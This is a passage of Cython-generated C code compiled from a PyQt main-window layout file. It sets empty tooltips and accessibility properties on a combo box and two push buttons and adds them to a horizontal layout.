__pyx_n_s_B_Define_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 782, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setAccessibleName); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 782, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__501, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 782, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":783 * self.B_Define_2.setStatusTip("") * self.B_Define_2.setAccessibleName("") * self.B_Define_2.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.B_Define_2.setFrame(True) * self.B_Define_2.setObjectName("B_Define_2") */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_B_Define_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 783, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setAccessibleDescription); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 783, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__502, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 783, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":784 * self.B_Define_2.setAccessibleName("") * self.B_Define_2.setAccessibleDescription("") * self.B_Define_2.setFrame(True) # <<<<<<<<<<<<<< * self.B_Define_2.setObjectName("B_Define_2") * self.B_Define_2.addItem("") */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_B_Define_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 784, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setFrame); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 784, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__503, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 784, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":785 * self.B_Define_2.setAccessibleDescription("") * self.B_Define_2.setFrame(True) * self.B_Define_2.setObjectName("B_Define_2") # <<<<<<<<<<<<<< * self.B_Define_2.addItem("") * self.B_Define_2.addItem("") */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_B_Define_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 785, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 785, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__504, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 785, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":786 * self.B_Define_2.setFrame(True) * self.B_Define_2.setObjectName("B_Define_2") * self.B_Define_2.addItem("") # <<<<<<<<<<<<<< * self.B_Define_2.addItem("") * self.B_Define_2.addItem("") */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_B_Define_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 786, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_addItem); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 786, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__505, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 786, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":787 * self.B_Define_2.setObjectName("B_Define_2") * self.B_Define_2.addItem("") * self.B_Define_2.addItem("") # <<<<<<<<<<<<<< * self.B_Define_2.addItem("") * self.horizontalLayout_5.addWidget(self.B_Define_2) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_B_Define_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 787, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_addItem); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 787, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__506, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 787, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":788 * self.B_Define_2.addItem("") * self.B_Define_2.addItem("") * self.B_Define_2.addItem("") # <<<<<<<<<<<<<< * self.horizontalLayout_5.addWidget(self.B_Define_2) * self.B_Stop_2 = QtWidgets.QPushButton(self.verticalLayoutWidget_3) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_B_Define_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 788, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_addItem); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 788, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__507, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 788, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":789 * self.B_Define_2.addItem("") * self.B_Define_2.addItem("") * self.horizontalLayout_5.addWidget(self.B_Define_2) # <<<<<<<<<<<<<< * self.B_Stop_2 = QtWidgets.QPushButton(self.verticalLayoutWidget_3) * self.B_Stop_2.setEnabled(False) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_horizontalLayout_5); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 789, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_addWidget); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 789, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_B_Define_2); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 789, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_3) { __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_7); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 789, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_6); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_7}; __pyx_t_6 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 789, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_7}; __pyx_t_6 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 789, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else #endif { __pyx_t_1 = PyTuple_New(1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 789, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_1, 0+1, __pyx_t_7); __pyx_t_7 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_1, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 789, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":790 * self.B_Define_2.addItem("") * self.horizontalLayout_5.addWidget(self.B_Define_2) * self.B_Stop_2 = QtWidgets.QPushButton(self.verticalLayoutWidget_3) # <<<<<<<<<<<<<< * self.B_Stop_2.setEnabled(False) * self.B_Stop_2.setToolTip("") */ __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 790, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_QPushButton); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 790, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_verticalLayoutWidget_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 790, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_7 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_1))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_7) { __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_4); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 790, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_6); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_4}; __pyx_t_6 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 790, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_4}; __pyx_t_6 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 790, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 790, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_7); __pyx_t_7 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_3, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 790, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_B_Stop_2, __pyx_t_6) < 0) __PYX_ERR(0, 790, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":791 * self.horizontalLayout_5.addWidget(self.B_Define_2) * self.B_Stop_2 = QtWidgets.QPushButton(self.verticalLayoutWidget_3) * self.B_Stop_2.setEnabled(False) # <<<<<<<<<<<<<< * self.B_Stop_2.setToolTip("") * self.B_Stop_2.setStatusTip("") */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_B_Stop_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 791, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setEnabled); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 791, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__508, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 791, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":792 * self.B_Stop_2 = QtWidgets.QPushButton(self.verticalLayoutWidget_3) * self.B_Stop_2.setEnabled(False) * self.B_Stop_2.setToolTip("") # <<<<<<<<<<<<<< * self.B_Stop_2.setStatusTip("") * self.B_Stop_2.setAccessibleName("") */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_B_Stop_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 792, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setToolTip); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 792, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__509, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 792, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":793 * self.B_Stop_2.setEnabled(False) * self.B_Stop_2.setToolTip("") * self.B_Stop_2.setStatusTip("") # <<<<<<<<<<<<<< * self.B_Stop_2.setAccessibleName("") * self.B_Stop_2.setAccessibleDescription("") */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_B_Stop_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 793, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setStatusTip); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 793, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__510, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 793, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":794 * self.B_Stop_2.setToolTip("") * self.B_Stop_2.setStatusTip("") * self.B_Stop_2.setAccessibleName("") # <<<<<<<<<<<<<< * self.B_Stop_2.setAccessibleDescription("") * self.B_Stop_2.setObjectName("B_Stop_2") */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_B_Stop_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 794, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setAccessibleName); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 794, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__511, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 794, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":795 * self.B_Stop_2.setStatusTip("") * self.B_Stop_2.setAccessibleName("") * self.B_Stop_2.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.B_Stop_2.setObjectName("B_Stop_2") * self.horizontalLayout_5.addWidget(self.B_Stop_2) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_B_Stop_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 795, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setAccessibleDescription); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 795, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__512, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 795, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":796 * self.B_Stop_2.setAccessibleName("") * self.B_Stop_2.setAccessibleDescription("") * self.B_Stop_2.setObjectName("B_Stop_2") # <<<<<<<<<<<<<< * self.horizontalLayout_5.addWidget(self.B_Stop_2) * self.B_Start_2 = QtWidgets.QPushButton(self.verticalLayoutWidget_3) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_B_Stop_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 796, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 796, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__513, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 796, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":797 * self.B_Stop_2.setAccessibleDescription("") * self.B_Stop_2.setObjectName("B_Stop_2") * self.horizontalLayout_5.addWidget(self.B_Stop_2) # <<<<<<<<<<<<<< * self.B_Start_2 = QtWidgets.QPushButton(self.verticalLayoutWidget_3) * self.B_Start_2.setToolTip("") */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_horizontalLayout_5); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 797, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_addWidget); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 797, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_B_Stop_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 797, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (!__pyx_t_4) { __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 797, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_6); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_1}; __pyx_t_6 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 797, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_1}; __pyx_t_6 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 797, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif { __pyx_t_7 = PyTuple_New(1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 797, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_7, 0+1, __pyx_t_1); __pyx_t_1 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_7, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 797, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":798 * self.B_Stop_2.setObjectName("B_Stop_2") * self.horizontalLayout_5.addWidget(self.B_Stop_2) * self.B_Start_2 = QtWidgets.QPushButton(self.verticalLayoutWidget_3) # <<<<<<<<<<<<<< * self.B_Start_2.setToolTip("") * self.B_Start_2.setStatusTip("") */ __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 798, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_QPushButton); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 798, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_verticalLayoutWidget_3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 798, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_7))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_7); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_7, function); } } if (!__pyx_t_1) { __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_7, __pyx_t_3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 798, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_6); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_3}; __pyx_t_6 = __Pyx_PyFunction_FastCall(__pyx_t_7, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 798, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_3}; __pyx_t_6 = __Pyx_PyCFunction_FastCall(__pyx_t_7, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 798, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 798, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_t_4, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 798, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_B_Start_2, __pyx_t_6) < 0) 